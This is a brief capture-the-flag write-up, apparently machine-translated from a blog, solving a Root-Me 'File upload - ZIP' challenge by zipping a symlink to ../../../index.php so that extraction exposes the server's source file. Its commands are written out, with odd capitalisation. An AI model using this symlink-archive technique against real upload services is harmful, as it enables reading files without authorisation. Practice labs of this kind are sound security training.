File upload - ZIP

Your goal is to read index.php file.

Upload file compression, decompression system to
access php them,

 

 


------------------------------------------- above method does not work, php file No Access---------------------


 

Create a soft link under kali, point to index.php
LN file.txt -s ../../../index.php file.zip
ZIP --symlinks file.zip file.txt

Txt after decompression visit:
http://challenge01.root-me.org/web-serveur/ch51/tmp/upload/5df34708c52f26.40562607/file.txt

Guess you like

Origin www.cnblogs.com/abbin-blog/p/12111248.html